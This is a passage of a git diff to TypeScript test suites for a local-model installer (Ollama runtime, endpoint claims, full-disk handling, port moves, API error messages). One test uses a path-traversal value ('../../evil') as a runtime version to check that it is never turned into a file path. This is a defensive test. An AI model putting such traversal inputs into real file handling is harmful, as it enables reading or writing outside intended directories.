@@ describe('every failure is a state with a code and a next step', () => { expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); }); - it('a saved endpoint with our id that is not ours: endpoint-id-taken with the id', async () => { + it('a saved endpoint with our id that is not ours: endpoint-id-taken with the id, and nothing is claimed or written', async () => { const h = setup(); - h.deps.connectLocalModel.mockResolvedValue({ ok: false, code: 'endpoint-id-taken' } as never); + h.deps.inspectLocalEndpoint.mockResolvedValue({ record: 'other', flagEnabled: true }); const view = await failed(h); expect(view.error).toMatchObject({ code: 'endpoint-id-taken', @@ -1290,6 +1335,7 @@ describe('every failure is a state with a code and a next step', () => { message: { vars: { id: 'local-ollama' } }, }); expect(h.store.get()).not.toHaveProperty('connection'); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); }); it('a refused write of the connection: connect-failed with the reason', async () => { @@ -1629,7 +1675,8 @@ describe('the runtime verbs', () => { const result = await h.service.runtime({ action: 'start', newPort: true }); expect(h.deps.chooseRuntimePort).toHaveBeenCalledWith({ avoid: [11435] }); expect(h.deps.moveLocalEndpoint).toHaveBeenCalledWith(11437); - expect(h.supervisor.start).toHaveBeenLastCalledWith({ port: 11437, contextLength: 131072 }); + // The stored pid goes along, so our own runtime on the old port could not be left behind. + expect(h.supervisor.start).toHaveBeenLastCalledWith({ port: 11437, contextLength: 131072, previousPid: 4711 }); expect(result.ok && result.view).toMatchObject({ port: 11437, running: true }); expect(result.ok && result.view.error).toBeUndefined(); expect(h.store.get().runtime).toMatchObject({ port: 11437, enabled: true }); @@ -1781,7 +1828,10 @@ describe('Remove with the real connection: the settings flag', () => { /** Installs with the real connect step, then removes with the real disconnect. */ async function installThenRemove() { - const h = setup({ agentInstalled: true, overrides: { connectLocalModel, disconnectLocalModel } }); + const h = setup({ + agentInstalled: true, + overrides: { inspectLocalEndpoint, connectLocalModel, disconnectLocalModel }, + }); await installAndWait(h.service); expect(h.store.get().state).toBe('installed'); expect(flag()).toBe(true); @@ -1815,7 +1865,10 @@ describe('Remove with the real connection: the settings flag', () => { it('a resumed connect step does not forget that the flag was off before', async () => { writeSettings({ customModelEndpointsEnabled: false }); - const h = setup({ agentInstalled: true, overrides: { connectLocalModel, disconnectLocalModel } }); + const h = setup({ + agentInstalled: true, + overrides: { inspectLocalEndpoint, connectLocalModel, disconnectLocalModel }, + }); await installAndWait(h.service); // The connection is written a second time, as a resumed job would: the flag is on by now. const again = await connectLocalModel({ @@ -1897,3 +1950,641 @@ describe('view()', () => { expect(view.error).not.toHaveProperty('nextModel'); }); }); + +// ---------- The connection is claimed before it is written ---------- + +describe('the connect step claims the connection before it writes anything outside the folder', () => { + it('the state file knows the connection is ours before the endpoint record is written', async () => { + let claimAtWrite: LocalModelStateFile['connection']; + const h = setup(); + h.deps.inspectLocalEndpoint.mockResolvedValue({ record: 'absent', flagEnabled: true }); + h.deps.connectLocalModel.mockImplementation(async () => { + claimAtWrite = h.store.get().connection; + return { ok: true as const, flagWasEnabled: true }; + }); + await installAndWait(h.service); + // The claim carries the value the setting had BEFORE this feature switched it on. + expect(claimAtWrite).toEqual({ endpointId: 'local-ollama', flagWasEnabled: true }); + expect(h.deps.inspectLocalEndpoint).toHaveBeenCalledWith({ + port: 11435, + modelId: 'qwen3.6:35b-a3b', + context: 131072, + }); + }); + + it('a claim that cannot be written (a full disk) writes nothing outside, and "Try again" finishes the install', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('connect', 'paused') }); + // The claim is refused once; every other write lands. + let refused = false; + h.store.disk.refuse = (next, before) => { + if (refused || !next.connection || before.connection) return false; + refused = true; + return true; + }; + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(await h.service.view()).toMatchObject({ state: 'failed', step: 'connect', error: { code: 'disk-full' } }); + // Nothing was written outside our folder: the record and the setting are untouched. + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + expect(h.store.get()).not.toHaveProperty('connection'); + + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ + state: 'installed', + connection: { endpointId: 'local-ollama', flagWasEnabled: false }, + }); + expect(h.deps.connectLocalModel).toHaveBeenCalledTimes(1); + }); + + it('a record that already says what ours would say is ours, and the setting is then never switched off', async () => { + const h = setup({ state: jobAt('connect', 'paused') }); + h.deps.inspectLocalEndpoint.mockResolvedValue({ record: 'same', flagEnabled: true }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get()).toMatchObject({ + state: 'installed', + connection: { endpointId: 'local-ollama', flagWasEnabled: true }, + }); + }); + + it('an endpoint store that cannot be read: connect-failed, before anything is claimed', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('connect', 'paused') }); + h.deps.inspectLocalEndpoint.mockRejectedValue(new Error('custom-model-hosts.json is not a valid JSON list')); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(await h.service.view()).toMatchObject({ + state: 'failed', + error: { code: 'connect-failed', detail: 'custom-model-hosts.json is not a valid JSON list' }, + }); + expect(h.store.get()).not.toHaveProperty('connection'); + expect(h.deps.connectLocalModel).not.toHaveBeenCalled(); + }); + + it('a resumed job does not look again: the claim it has keeps the value from before', async () => { + const h = setup({ + state: { ...jobAt('connect', 'paused'), connection: { endpointId: 'local-ollama', flagWasEnabled: false } }, + }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.deps.inspectLocalEndpoint).not.toHaveBeenCalled(); + expect(h.deps.connectLocalModel).toHaveBeenCalledWith( + expect.objectContaining({ ours: true, flagWasEnabled: false }) + ); + expect(h.store.get().state).toBe('installed'); + }); +}); + +describe('the connect step with the real endpoint store and settings: a write that does not land', () => { + const HOSTS = () => customModelHostsPath(getDataDir()); + const real = { inspectLocalEndpoint, connectLocalModel, disconnectLocalModel }; + const hostIds = async () => (await readCustomModelHosts(getDataDir())).map((host) => host.id); + const flag = (): unknown => { + try { + return JSON.parse(readFileSync(SETTINGS_PATH, 'utf8')).customModelEndpointsEnabled; + } catch { + return undefined; + } + }; + + afterEach(() => { + rmSync(HOSTS(), { force: true }); + rmSync(SETTINGS_PATH, { force: true }); + }); + + it('the claim fails once: nothing is left behind, "Try again" installs, and Remove undoes both writes', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('connect', 'paused'), overrides: real }); + let refused = false; + h.store.disk.refuse = (next, before) => { + if (refused || !next.connection || before.connection) return false; + refused = true; + return true; + }; + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect((await h.service.view()).error?.code).toBe('disk-full'); + expect(await hostIds()).toEqual([]); + expect(flag()).toBeUndefined(); + + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(await hostIds()).toEqual(['local-ollama']); + expect(flag()).toBe(true); + + const removed = await h.service.remove({ removeModel: true }, [], ADMIN); + expect(removed.ok && removed.view.state).toBe('idle'); + expect(await hostIds()).toEqual([]); + expect(flag()).toBe(false); + }); + + it('the server is killed after the claim and before the record: the next server finishes it on Continue', async () => { + // What the killed server left: the claim in the state file, nothing in the endpoint store. + const h = setup({ + state: { ...jobAt('connect'), connection: { endpointId: 'local-ollama', flagWasEnabled: false } }, + overrides: real, + }); + await h.service.boot(); + expect(await h.service.view()).toMatchObject({ state: 'paused', step: 'connect' }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect(await hostIds()).toEqual(['local-ollama']); + await h.service.remove({}, [], ADMIN); + expect(await hostIds()).toEqual([]); + expect(flag()).toBe(false); + }); + + it('the server is killed after both writes and before the last step was recorded: Continue ends installed', async () => { + const h = setup({ + state: { ...jobAt('connect'), connection: { endpointId: 'local-ollama', flagWasEnabled: false } }, + overrides: real, + }); + await connectLocalModel({ port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072, ours: true }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(await h.service.view()).toMatchObject({ state: 'installed' }); + expect(await hostIds()).toEqual(['local-ollama']); + }); + + it('a record of ours the state file does not know (written by an earlier order of the two) is taken as ours', async () => { + // The record and the flag exist, the state file has no claim. + await connectLocalModel({ port: 11435, modelId: 'qwen3.6:35b-a3b', context: 131072, ours: false }); + const h = setup({ state: jobAt('connect', 'paused'), overrides: real }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(await h.service.view()).toMatchObject({ state: 'installed' }); + // Remove takes the record out. The setting stays: what it was before is not known. + await h.service.remove({}, [], ADMIN); + expect(await hostIds()).toEqual([]); + expect(flag()).toBe(true); + }); + + it('a record with our id that says something else is never overwritten', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + mkdirSync(dirname(HOSTS()), { recursive: true }); + const foreign = { id: 'local-ollama', label: 'My own', baseUrl: 'http://127.0.0.1:11434' }; + writeFileSync(HOSTS(), JSON.stringify([foreign])); + const h = setup({ state: jobAt('connect', 'paused'), overrides: real }); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect((await h.service.view()).error?.code).toBe('endpoint-id-taken'); + expect(await readCustomModelHosts(getDataDir())).toEqual([foreign]); + expect(h.store.get()).not.toHaveProperty('connection'); + }); +}); + +// ---------- A job whose end could not be written ---------- + +describe('a state file that cannot be written when a step fails (a full disk)', () => { + /** A pull that fills the disk: from its failure on, every write of the state file is refused. */ + function diskFillsDuringPull(h: ReturnType<typeof setup>) { + h.deps.pullModel.mockImplementation( + async (_target: unknown, _id: string, pull?: { onProgress?: (p: unknown) => void }) => { + pull?.onProgress?.({ completedBytes: 14_200_000_000, totalBytes: PULL_BYTES, bytesPerSecond: 58_000_000 }); + h.store.disk.refuse = () => true; + return { ok: false as const, code: 'disk-full' as const, detail: 'write blob: no space left on device' }; + } + ); + } + + it('the job is not lost: the view says disk-full with the download as it stood, and no speed', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('model', 'paused') }); + diskFillsDuringPull(h); + await h.service.resume({}, ADMIN); + await h.service.idle(); + + // The file could not be told and still says the job runs. + expect(h.store.get().state).toBe('installing'); + const view = await h.service.view(); + expect(view).toMatchObject({ + state: 'failed', + step: 'model', + error: { code: 'disk-full', next: 'retry', detail: 'write blob: no space left on device' }, + actions: ['resume', 'install', 'remove'], + }); + expect(view.progress).toMatchObject({ completedBytes: 14_200_000_000, totalBytes: PULL_BYTES }); + expect(view.progress).not.toHaveProperty('bytesPerSecond'); + // A GET writes nothing: the file is as it was. + expect(h.store.get().state).toBe('installing'); + }); + + it('Cancel has nothing to cancel (409, not a 500), and "Try again" on a disk that is still full says so again', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('model', 'paused') }); + diskFillsDuringPull(h); + await h.service.resume({}, ADMIN); + await h.service.idle(); + + expect(await h.service.cancel()).toMatchObject({ ok: false, status: 409, conflict: { reason: 'wrong-state' } }); + const again = await h.service.resume({}, ADMIN); + expect(again.ok && again.view).toMatchObject({ state: 'failed', error: { code: 'disk-full' } }); + expect(h.deps.pullModel).toHaveBeenCalledTimes(1); + }); + + it('once there is space again "Try again" writes the outcome, runs the step and installs', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('model', 'paused') }); + diskFillsDuringPull(h); + await h.service.resume({}, ADMIN); + await h.service.idle(); + + h.store.disk.refuse = undefined; + h.deps.pullModel.mockImplementation(async () => ({ ok: true as const, totalBytes: PULL_BYTES })); + const resumed = await h.service.resume({}, ADMIN); + expect(resumed.ok && resumed.view.state).toBe('installing'); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + expect((await h.service.view()).error).toBeUndefined(); + }); + + it('another verb writes what the view already showed: a new install replaces the failed job', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('model', 'paused'), runtimeOnDisk: true }); + diskFillsDuringPull(h); + await h.service.resume({}, ADMIN); + await h.service.idle(); + h.store.disk.refuse = undefined; + h.deps.pullModel.mockImplementation(async () => ({ ok: true as const, totalBytes: 13_793_441_427 })); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + for (const row of [rec.pick!, ...rec.alternatives]) row.installBytes = row.downloadBytes; + return rec; + }); + const result = await installAndWait(h.service, { + modelId: 'gpt-oss:20b', + cli: 'opencode', + context: 131072, + acknowledgedBytes: 13_793_441_427, + }); + expect(result.ok).toBe(true); + expect(h.store.get()).toMatchObject({ state: 'installed', model: { id: 'gpt-oss:20b' } }); + }); + + it('Cancel while the disk is full stops the job and shows it paused, without throwing', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ + overrides: { + pullModel: vi.fn(async (_t: unknown, _id: string, pull?: PullOptions) => { + pull?.onProgress?.({ completedBytes: 6_200_000_000, totalBytes: PULL_BYTES, bytesPerSecond: 58_000_000 }); + await untilAborted(pull?.signal); + return { ok: false as const, code: 'cancelled' as const }; + }), + }, + }); + await h.service.install(REQUEST, ADMIN); + await vi.waitFor(() => expect(h.deps.pullModel).toHaveBeenCalled()); + h.store.disk.refuse = () => true; + const result = await h.service.cancel(); + expect(result.ok && result.view).toMatchObject({ + state: 'paused', + step: 'model', + progress: { completedBytes: 6_200_000_000 }, + actions: ['resume', 'install', 'remove'], + }); + // Space again: Continue writes the pause it could not write, and goes on. + h.store.disk.refuse = undefined; + h.deps.pullModel.mockImplementation(async () => ({ ok: true as const, totalBytes: PULL_BYTES })); + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + }); + + it('a first install on a full disk starts nothing and is answered with the sentence', async () => { + const h = setup(); + h.store.disk.refuse = () => true; + const result = await h.service.install(REQUEST, ADMIN); + expect(result).toEqual({ + ok: false, + status: 507, + message: { text: 'The disk is full. Free up space, then try again.' }, + }); + expect(h.calls).toEqual([]); + expect(h.store.get().state).toBe('idle'); + }); + + it('a step that finished but could not be recorded (a full disk) is disk-full, and the step runs again', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: jobAt('verify', 'paused') }); + // The write that would move the job past `verify` is refused, and every write after it. + h.store.disk.refuse = (next, before) => before.step === 'verify' && next.step !== 'verify'; + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(await h.service.view()).toMatchObject({ state: 'failed', step: 'verify', error: { code: 'disk-full' } }); + h.store.disk.refuse = undefined; + await h.service.resume({}, ADMIN); + await h.service.idle(); + expect(h.store.get().state).toBe('installed'); + }); +}); + +// ---------- A runtime that does not start, and one an earlier server left behind ---------- + +describe('an installed model whose runtime does not start', () => { + it('says so on the view with what the runtime said, and Start tries again', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + h.world.startResult = { ok: false, code: 'runtime-start-failed', detail: 'spawn ENOENT' }; + await h.service.boot(); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'installed', running: false, actions: ['start', 'remove'] }); + expect(view.error).toEqual({ + code: 'runtime-start-failed', + message: { text: 'The runtime did not start on this Mac.' }, + // Start is the verb an installed model has: there is no job to resume. + next: 'start', + detail: 'spawn ENOENT', + }); + // A session start is refused with the same reason, not with "start it first". + expect(await h.service.launchRefusalMessage('local-ollama', 'qwen3.6:35b-a3b')).toBe( + 'The runtime did not start on this Mac.' + ); + + // Start again, and it fails again: the view still says why. + const again = await h.service.runtime({ action: 'start' }); + expect(again.ok && again.view.error?.code).toBe('runtime-start-failed'); + + // Start again, and it works: the error is gone. + h.world.startResult = undefined; + const started = await h.service.runtime({ action: 'start' }); + expect(started.ok && started.view).toMatchObject({ running: true }); + expect(started.ok && started.view.error).toBeUndefined(); + }); + + it('Stop clears it: a model the person stopped shows no error', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: INSTALLED, runtimeOnDisk: true }); + h.world.startResult = { ok: false, code: 'runtime-start-failed', detail: 'spawn ENOENT' }; + await h.service.boot(); + const stopped = await h.service.runtime({ action: 'stop' }); + expect(stopped.ok && stopped.view.error).toBeUndefined(); + }); +}); + +describe('a later build with another runtime pin', () => { + const OLD = '0.39.2'; + const OLD_STATE: LocalModelStateFile = { ...INSTALLED, runtime: { ...INSTALLED.runtime!, version: OLD } }; + /** Only the old version is unpacked: what an update of Codeman leaves on disk. */ + const onlyOldOnDisk = async (_pin?: unknown, paths?: LocalModelPaths) => + paths?.binary === `/data/local-model/runtime/ollama-${OLD}/ollama`; + + it('an installed model keeps running the version it was installed with', async () => { + const h = setup({ state: OLD_STATE }); + h.deps.isRuntimeInstalled.mockImplementation(onlyOldOnDisk as never); + await h.service.boot(); + expect(h.supervisor.start).toHaveBeenCalledWith({ + port: 11435, + contextLength: 131072, + previousPid: 4711, + version: OLD, + }); + // The stored version stays what runs, so the next start finds it again. + expect(h.store.get().runtime?.version).toBe(OLD); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'installed', running: true, actions: ['start-session', 'stop', 'remove'] }); + expect(view.error).toBeUndefined(); + // A NEW install would still download the pinned build. + expect(view.runtime).toMatchObject({ version: OLLAMA_RUNTIME_PIN.version, installed: false }); + }); + + it('with the pinned build unpacked that one runs, and the state says so', async () => { + const h = setup({ state: OLD_STATE, runtimeOnDisk: true }); + await h.service.boot(); + expect(h.supervisor.start).toHaveBeenCalledWith({ port: 11435, contextLength: 131072, previousPid: 4711 }); + expect(h.store.get().runtime?.version).toBe(OLLAMA_RUNTIME_PIN.version); + }); + + it('with neither on disk the start fails in the open: the view says the runtime did not start', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup({ state: OLD_STATE }); + h.world.startResult = { ok: false, code: 'runtime-start-failed', detail: 'spawn ENOENT' }; + await h.service.boot(); + expect((await h.service.view()).error).toMatchObject({ code: 'runtime-start-failed', next: 'start' }); + }); + + it('a version the state file could never name is not turned into a path', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, version: '../../evil' } } }); + await h.service.boot(); + expect(h.supervisor.start).toHaveBeenCalledWith({ port: 11435, contextLength: 131072, previousPid: 4711 }); + }); +}); + +describe('a runtime an earlier server left behind', () => { + it.each(['paused', 'failed'] as const)('Remove of a %s job ends it before any file is deleted', async (state) => { + const base = jobAt('model', 'paused'); + const h = setup({ + state: state === 'paused' ? base : { ...base, state: 'failed', error: { code: 'pull-failed' } }, + }); + const removed = await h.service.remove({ removeModel: true }, [], ADMIN); + expect(removed.ok && removed.view.state).toBe('idle'); + expect(h.supervisor.stop).toHaveBeenCalledWith({ previousPid: 5000 }); + expect(h.calls.indexOf('supervisor.stop')).toBeLessThan(h.calls.indexOf('removeLocalModelFiles')); + }); + + it('Stop of an installed model ends it too, also when this server never started it', async () => { + const h = setup({ state: INSTALLED }); + await h.service.runtime({ action: 'stop' }); + expect(h.supervisor.stop).toHaveBeenCalledWith({ previousPid: 4711 }); + }); + + it('boot ends it for a model the person had stopped', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + await h.service.boot(); + expect(h.supervisor.start).not.toHaveBeenCalled(); + expect(h.supervisor.stop).toHaveBeenCalledWith({ previousPid: 4711 }); + }); + + it('the pid is stored the moment the child is spawned, before it answers', async () => { + const h = setup({ + state: { ...jobAt('model', 'paused'), runtime: { version: '0.40.15', port: 11435, enabled: true } }, + }); + h.service.onRuntimeChange({ running: false, pid: 7777, restarts: 0, gaveUp: false }); + await vi.waitFor(() => expect(h.store.get().runtime?.pid).toBe(7777)); + }); +}); + +// ---------- What a failed download is called, and what is offered next ---------- + +describe('a runtime that is gone for good during the download', () => { + it('is said as the runtime, not as the network, and "Try again" runs the step again', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup(); + h.deps.pullModel.mockImplementation(async () => { + h.world.running = false; + h.world.gaveUp = true; + return { ok: false as const, code: 'pull-failed' as const, detail: 'connect ECONNREFUSED 127.0.0.1:11435' }; + }); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view).toMatchObject({ state: 'failed', step: 'model', actions: ['resume', 'install', 'remove'] }); + expect(view.error).toEqual({ + code: 'runtime-stopped', + message: { text: 'The runtime keeps stopping, so Codeman no longer restarts it.' }, + // A job has no Start verb: the step is run again. + next: 'retry', + detail: 'connect ECONNREFUSED 127.0.0.1:11435', + }); + }); + + it('a pull that fails while the runtime runs is still the download', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup(); + h.deps.pullModel.mockResolvedValue({ ok: false, code: 'pull-failed', detail: 'unexpected EOF' } as never); + await installAndWait(h.service); + expect((await h.service.view()).error).toMatchObject({ code: 'pull-failed', next: 'retry' }); + }); +}); + +describe('the model offered after "does not fit"', () => { + it('needs less memory than the one that failed: a model that needs more is not offered', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup(); + // The only other row needs MORE than the model that failed. + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + rec.alternatives = [candidate('qwen3.8:27b', 'Qwen3.8 27B', 131072, 17_700_000_000, false, 39_000_000_000)]; + return rec; + }); + h.deps.verifyModel.mockResolvedValue({ ok: false, code: 'does-not-fit' } as never); + await installAndWait(h.service); + const view = await h.service.view(); + expect(view.error).toMatchObject({ code: 'does-not-fit', next: 'next-model' }); + expect(view.error).not.toHaveProperty('nextModel'); + }); + + it('skips a larger row for the first one that needs less', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup(); + h.deps.getCatalog.mockReturnValue({ + ...CATALOG, + models: [...CATALOG.models, { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' }], + } as unknown as LocalModelCatalog); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + rec.alternatives = [ + candidate('qwen3.8:27b', 'Qwen3.8 27B', 131072, 17_700_000_000, false, 39_000_000_000), + candidate('gpt-oss:20b', 'GPT-OSS 20B', 131072, 13_793_441_427, false, 26_600_000_000), + ]; + return rec; + }); + h.deps.verifyModel.mockResolvedValue({ ok: false, code: 'does-not-fit' } as never); + await installAndWait(h.service); + expect((await h.service.view()).error?.nextModel).toEqual({ modelId: 'gpt-oss:20b', modelLabel: 'GPT-OSS 20B' }); + }); + + it('after "no tool call" memory is not the question: the best other model is offered', async () => { + vi.spyOn(console, 'warn').mockImplementation(() => {}); + const h = setup(); + h.deps.getCatalog.mockReturnValue({ + ...CATALOG, + models: [...CATALOG.models, { id: 'qwen3.8:27b', label: 'Qwen3.8 27B' }], + } as unknown as LocalModelCatalog); + h.deps.recommend.mockImplementation(() => { + const rec = recommendation(); + rec.alternatives = [candidate('qwen3.8:27b', 'Qwen3.8 27B', 131072, 17_700_000_000, false, 39_000_000_000)]; + return rec; + }); + h.deps.verifyModel.mockResolvedValue({ ok: false, code: 'no-tool-call' } as never); + await installAndWait(h.service); + expect((await h.service.view()).error?.nextModel).toEqual({ modelId: 'qwen3.8:27b', modelLabel: 'Qwen3.8 27B' }); + }); +}); + +describe('what a replaced download left behind', () => { + it('the partial blobs are deleted as files, after the model was asked for and before the new pull', async () => { + const h = setup({ + state: { ...jobAt('model', 'paused'), replacedModelId: 'gpt-oss:20b' }, + }); + h.deps.removePartialModelBlobs.mockImplementation(async () => { + h.calls.push('removePartialModelBlobs'); + return 12_708_189_425; + }); + vi.spyOn(console, 'log').mockImplementation(() => {}); + await h.service.resume({}, ADMIN); + await h.service.idle(); + const order = h.calls.filter((call) => ['deleteModel', 'removePartialModelBlobs', 'pullModel'].includes(call)); + expect(order).toEqual(['deleteModel', 'removePartialModelBlobs', 'pullModel']); + expect(h.deps.removePartialModelBlobs).toHaveBeenCalledWith(PATHS); + expect(h.store.get()).not.toHaveProperty('replacedModelId'); + }); + + it('a job that replaced nothing deletes nothing', async () => { + const h = setup(); + await installAndWait(h.service); + expect(h.deps.deleteModel).not.toHaveBeenCalled(); + expect(h.deps.removePartialModelBlobs).not.toHaveBeenCalled(); + }); +}); + +// ---------- Live sessions keep the address they were started with ---------- + +describe('Stop and "Use another port" while live sessions use the model', () => { + it('Stop is 409 sessions-open with their names, and the runtime keeps running', async () => { + const h = setup({ state: INSTALLED }); + await h.service.boot(); + h.supervisor.stop.mockClear(); + const result = await h.service.runtime({ action: 'stop' }, ['w1-app', 'w4-lib']); + expect(result).toMatchObject({ + ok: false, + status: 409, + conflict: { + reason: 'sessions-open', + sessions: ['w1-app', 'w4-lib'], + message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictSessionsOpen, vars: { sessions: 'w1-app, w4-lib' } }, + }, + }); + expect(h.supervisor.stop).not.toHaveBeenCalled(); + expect(h.store.get().runtime?.enabled).toBe(true); + }); + + it('a start on another port is refused the same way, and nothing moves', async () => { + const h = setup({ state: INSTALLED }); + const result = await h.service.runtime({ action: 'start', newPort: true }, ['w1-app']); + expect(result).toMatchObject({ ok: false, status: 409, conflict: { reason: 'sessions-open' } }); + expect(h.deps.chooseRuntimePort).not.toHaveBeenCalled(); + expect(h.deps.moveLocalEndpoint).not.toHaveBeenCalled(); + expect(h.store.get().runtime?.port).toBe(11435); + }); + + it('a plain Start is not refused: it changes no address', async () => { + const h = setup({ state: { ...INSTALLED, runtime: { ...INSTALLED.runtime!, enabled: false } } }); + const result = await h.service.runtime({ action: 'start' }, ['w1-app']); + expect(result.ok && result.view.running).toBe(true); + }); + + it('"Use another port" of a job is refused only when a connection of ours exists', async () => { + const failedOnPort: LocalModelStateFile = { + ...jobAt('connect', 'paused'), + state: 'failed', + error: { code: 'port-in-use', vars: { port: '11435' } }, + }; + const connected = setup({ + state: { ...failedOnPort, connection: { endpointId: 'local-ollama', flagWasEnabled: false } }, + }); + expect(await connected.service.resume({ newPort: true }, ADMIN, ['w1-app'])).toMatchObject({ + ok: false, + conflict: { reason: 'sessions-open', sessions: ['w1-app'] }, + }); + expect(connected.deps.chooseRuntimePort).not.toHaveBeenCalled(); + + // Without a connection of ours no session can be on the model: sessions elsewhere do not matter. + const fresh = setup({ state: failedOnPort }); + fresh.deps.chooseRuntimePort.mockResolvedValue(11436); + const result = await fresh.service.resume({ newPort: true }, ADMIN, ['w1-app']); + expect(result.ok).toBe(true); + await fresh.service.idle(); + }); + + it('a state write that fails before the saved endpoint moved changes nothing', async () => { + const h = setup({ state: INSTALLED }); + h.deps.chooseRuntimePort.mockResolvedValue(11437); + h.store.disk.refuse = (next) => next.runtime?.port === 11437; + await expect(h.service.runtime({ action: 'start', newPort: true })).rejects.toThrow('ENOSPC'); + expect(h.deps.moveLocalEndpoint).not.toHaveBeenCalled(); + expect(h.store.get().runtime?.port).toBe(11435); + }); +}); diff --git a/test/local-model-ollama-client.test.ts b/test/local-model-ollama-client.test.ts index 35fd13b0..94fcb670 100644 --- a/test/local-model-ollama-client.test.ts +++ b/test/local-model-ollama-client.test.ts @@ -708,7 +708,7 @@ describe('judgeLoaded', () => { expect(judged).toEqual({ ok: false, code: 'does-not-fit', - detail: '20000000000 of 23205798956 bytes are on the GPU', + detail: '20.0 of 23.2 GB of the model are on the GPU', }); // One byte is enough. expect(judgeLoaded([loaded({ sizeVram: 23_205_798_955 })], MODEL, CONTEXT)).toMatchObject({ code: 'does-not-fit' }); @@ -885,7 +885,7 @@ describe('verifyModel', () => { expect(await verifyModel(target, MODEL, CONTEXT)).toEqual({ ok: false, code: 'does-not-fit', - detail: '18000000000 of 23205798956 bytes are on the GPU', + detail: '18.0 of 23.2 GB of the model are on the GPU', }); expect(server.requests.filter((r) => r.path === '/v1/chat/completions')).toHaveLength(1); }); diff --git a/test/routes/custom-model-routes.test.ts b/test/routes/custom-model-routes.test.ts index 7253c9aa..fc31495a 100644 --- a/test/routes/custom-model-routes.test.ts +++ b/test/routes/custom-model-routes.test.ts @@ -777,7 +777,7 @@ describe('the endpoint the local model install manages', () => { }); expect(res.json()).toEqual({ success: false, - error: 'The endpoint id "local-ollama" is reserved for the model Codeman runs on this Mac. Pick another id.', + error: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.', errorCode: 'INVALID_INPUT', }); expect(await readCustomModelHosts(getDataDir())).toEqual([]); diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts index 0ac50443..11ecb354 100644 --- a/test/routes/local-model-routes.test.ts +++ b/test/routes/local-model-routes.test.ts @@ -657,20 +657,43 @@ describe('the install verbs', () => { expect(f.service.install).toHaveBeenCalledWith(INSTALL_BODY, { username: 'alice', ip: '127.0.0.1' }); }); - it('a row the server does not offer is a 400 with the service own sentence', async () => { + it('a row the server does not offer is a 400 with the service own sentence, as text and as data', async () => { const f = fakes(); f.service.install.mockResolvedValue({ ok: false, status: 400, - message: 'This model at this context is not offered for this Mac right now.', + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'OpenCode' } }, }); const { app } = await harness(f.deps); const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); expect(res.statusCode).toBe(400); + // `error` is the English sentence with its slots filled; `data.message` is the sentence + // with its slots apart, which the window prints in its own language. expect(res.json()).toEqual({ success: false, - error: 'This model at this context is not offered for this Mac right now.', + error: 'OpenCode is not installed and cannot be installed from here.', errorCode: 'INVALID_INPUT', + data: { + message: { text: '{cli} is not installed and cannot be installed from here.', vars: { cli: 'OpenCode' } }, + }, + }); + }); + + it('a first install on a full disk is a 507 with the sentence, not a 500', async () => { + const f = fakes(); + f.service.install.mockResolvedValue({ + ok: false, + status: 507, + message: { text: LOCAL_MODEL_INSTALL_LABELS.errDiskFull }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/install', payload: INSTALL_BODY }); + expect(res.statusCode).toBe(507); + expect(res.json()).toEqual({ + success: false, + error: 'The disk is full. Free up space, then try 